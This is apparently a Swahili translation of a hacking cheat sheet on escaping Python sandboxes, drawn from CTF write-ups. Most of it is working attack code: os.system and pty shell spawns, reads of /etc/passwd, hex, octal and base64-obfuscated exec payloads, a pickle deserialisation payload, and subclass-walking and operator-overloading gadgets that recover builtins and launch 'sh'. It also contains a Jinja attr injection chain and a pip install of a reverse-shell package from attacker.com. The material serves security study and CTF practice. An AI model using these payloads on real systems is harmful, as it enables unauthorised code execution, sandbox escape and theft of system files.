Kuepuka Python sandboxes
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Hizi ni baadhi ya mbinu za kuepuka ulinzi wa Python sandboxes na kutekeleza amri za aina yoyote.
Maktaba za utekelezaji wa amri
Jambo la kwanza unalotakiwa kujua ni kama unaweza kutekeleza moja kwa moja code kwa kutumia library ambazo tayari zimeimport, au kama unaweza import yoyote ya libraries hizi:
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
Kumbuka kwamba open na read functions zinaweza kuwa muhimu kusoma files ndani ya python sandbox na kuandika baadhi ya code ambayo unaweza execute ili bypass sandbox.
[!CAUTION] > Python2 input() function inaruhusu kuendesha python code kabla programu inapofungwa kwa ghafla.
Python hujaribu load libraries kutoka current directory kwanza (amri ifuatayo itaonyesha wapi python inavyopakia modules kutoka): python3 -c 'import sys; print(sys.path)'
Bypass pickle sandbox with the default installed python packages
Default packages
Unaweza kupata list of pre-installed packages hapa: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Kumbuka kwamba kutoka pickle unaweza kufanya python env import arbitrary libraries zilizowekwa kwenye mfumo.
Kwa mfano, pickle ifuatayo, inapoload, itafanya import pip library ili kuitumia:
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Kwa maelezo zaidi kuhusu jinsi pickle inavyofanya kazi, angalia: https://checkoway.net/musings/pickle/
Pip package
Njia iliyoshirikiwa na @isHaacK
Ikiwa una ufikiaji wa pip
au pip.main()
unaweza kusakinisha package yoyote na kupata reverse shell kwa kuita:
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
Unaweza kupakua paketi ya kuunda reverse shell hapa. Tafadhali kumbuka kwamba kabla ya kuitumia unapaswa kuifungua, kubadilisha setup.py
, na kuweka IP yako kwa reverse shell:
{{#file}} Reverse.tar (1).gz {{#endfile}}
Tip
Paketi hii inaitwa
Reverse
. Hata hivyo, ilitengenezwa mahsusi ili unapotoka kwenye reverse shell, mwendelezo wa usakinishaji utashindwa, kwa hivyo you won't leave any extra python package installed on the server unapoondoka.
Eval-ing python code
Warning
Kumbuka kuwa exec inaruhusu multiline strings na ";", lakini eval haiaruhusu (angalia walrus operator)
Ikiwa herufi fulani zimezuiwa unaweza kutumia uwakilishi wa hex/octal/B64 ili bypass kizuizi:
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
Maktaba nyingine zinazowezesha eval python code
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Pia angalia kutoroka kwa evaluator uliowekwa ndani ya sandbox katika watengenezaji wa PDF:
- ReportLab/xhtml2pdf triple-bracket [...] expression evaluation → RCE (CVE-2023-33733). Inaitumia rl_safe_eval kufikia function.globals na os.system kupitia sifa zilizothaminiwa (kwa mfano, rangi ya fonti) na kurejesha thamani halali ili kuweka uonyeshaji thabiti.
{{#ref}} reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}}
Operatori na mbinu fupi
# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Kuvuka ulinzi kupitia kodishaji (UFT-7)
Katika this writeup UFT-7 imetumika kupakia na kutekeleza arbitrary python code ndani ya apparent sandbox:
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
Pia inawezekana kuibypass kwa kutumia encodings nyingine, kwa mfano raw_unicode_escape
na unicode_escape
.
Utekelezaji wa Python bila kuwaita
Ikiwa uko ndani ya python jail ambayo haitakuwezesha kufanya calls, bado kuna njia kadhaa za execute arbitrary functions, code na commands.
RCE na decorators
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass
# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)
# So just send your python code when prompted and it will be executed
# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass
RCE kuunda objects na overloading
Kama unaweza declare a class na create an object ya class hiyo, unaweza write/overwrite different methods ambazo zinaweza triggered bila ya kuhitaji kuziita moja kwa moja.
RCE na custom classes
Unaweza kubadilisha baadhi ya class methods (by overwriting existing class methods or creating a new class) ili kuzifanya execute arbitrary code wakati zinapotumika (triggered) bila kuziita moja kwa moja.
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>
# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()
# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
Kuunda vitu kwa metaclasses
Kitu muhimu ambacho metaclasses zinaturuhusu kufanya ni kuunda mfano wa darasa, bila kuita constructor moja kwa moja, kwa kuunda darasa jipya lenye darasa lengwa kama metaclass.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do
Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
Kuunda objects kwa exceptions
Wakati exception inachochewa object ya Exception huundwa bila wewe kuhitaji kuita constructor moja kwa moja (triki kutoka kwa @_nag0mez):
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object
# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec
try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
Zaidi kuhusu RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
Soma faili yenye msaada wa builtins & leseni
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
Builtins
Ikiwa unaweza kufikia kitu __builtins__
unaweza kuingiza maktaba (kumbuka kwamba unaweza pia kutumia hapa uwakilishi mwingine wa string ulioonyeshwa katika sehemu ya mwisho):
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
Hakuna Builtins
Unapokosa __builtins__
hutaweza ku-import chochote wala hata kusoma au kuandika faili kwa sababu kazi zote za global (kama open
, import
, print
...) hazijapakiwa.
Hata hivyo, kwa chaguo-msingi python hu-import moduli nyingi kwenye kumbukumbu. Moduli hizi zinaweza kuonekana zisizo hatari, lakini baadhi yao pia huingiza vipengele hatarishi ndani yao ambavyo vinaweza kufikiwa ili kupata hata arbitrary code execution.
Katika mifano ifuatayo unaweza kuona jinsi ya kutumia vibaya baadhi ya moduli hizi "benign" zilizopakiwa ili kupata vipengele hatarishi ndani yao.
Python2
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
Hapo chini kuna function kubwa zaidi ili kupata makumi/mamia ya maeneo ambapo unaweza kupata builtins.
Python2 and Python3
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Builtins payloads
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
Globals na locals
Kukagua globals
na locals
ni njia nzuri ya kujua unachoweza kufikia.
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
# Obtain globals from a defined function
get_flag.__globals__
# Obtain globals from an object of a class
class_obj.__init__.__globals__
# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]
# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
Below there is a bigger function to find tens/hundreds of places were you can find the globals.
Gundua Utekelezaji wa Hiari
Hapa nataka kuelezea jinsi ya kugundua kwa urahisi more dangerous functionalities loaded na kupendekeza exploits zenye kuaminika zaidi.
Kupata subclasses kwa kutumia bypasses
Moja ya sehemu nyeti zaidi za mbinu hii ni kuwa na uwezo wa access the base subclasses. Katika mifano iliyopita hii ilifanywa kwa kutumia ''.__class__.__base__.__subclasses__()
lakini kuna njia nyingine zinazowezekana:
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Kutafuta libraries hatari zilizopakiwa
Kwa mfano, ukijua kwamba kwa library sys
inawezekana import arbitrary libraries, unaweza kutafuta modules zote loaded ambazo zimeimport sys ndani yao:
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
Kuna nyingi, na tunahitaji moja tu kutekeleza amri:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Tunaweza kufanya kitu kilekile na maktaba nyingine ambazo tunajua zinaweza kutumika kuendesha amri:
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Zaidi ya hayo, tunaweza hata kutafuta ni moduli gani zinapakia maktaba zenye madhara:
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""
Zaidi ya hayo, ikiwa unadhani other libraries zinaweza invoke functions to execute commands, tunaweza pia filter by functions names ndani ya libraries zinazowezekana:
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
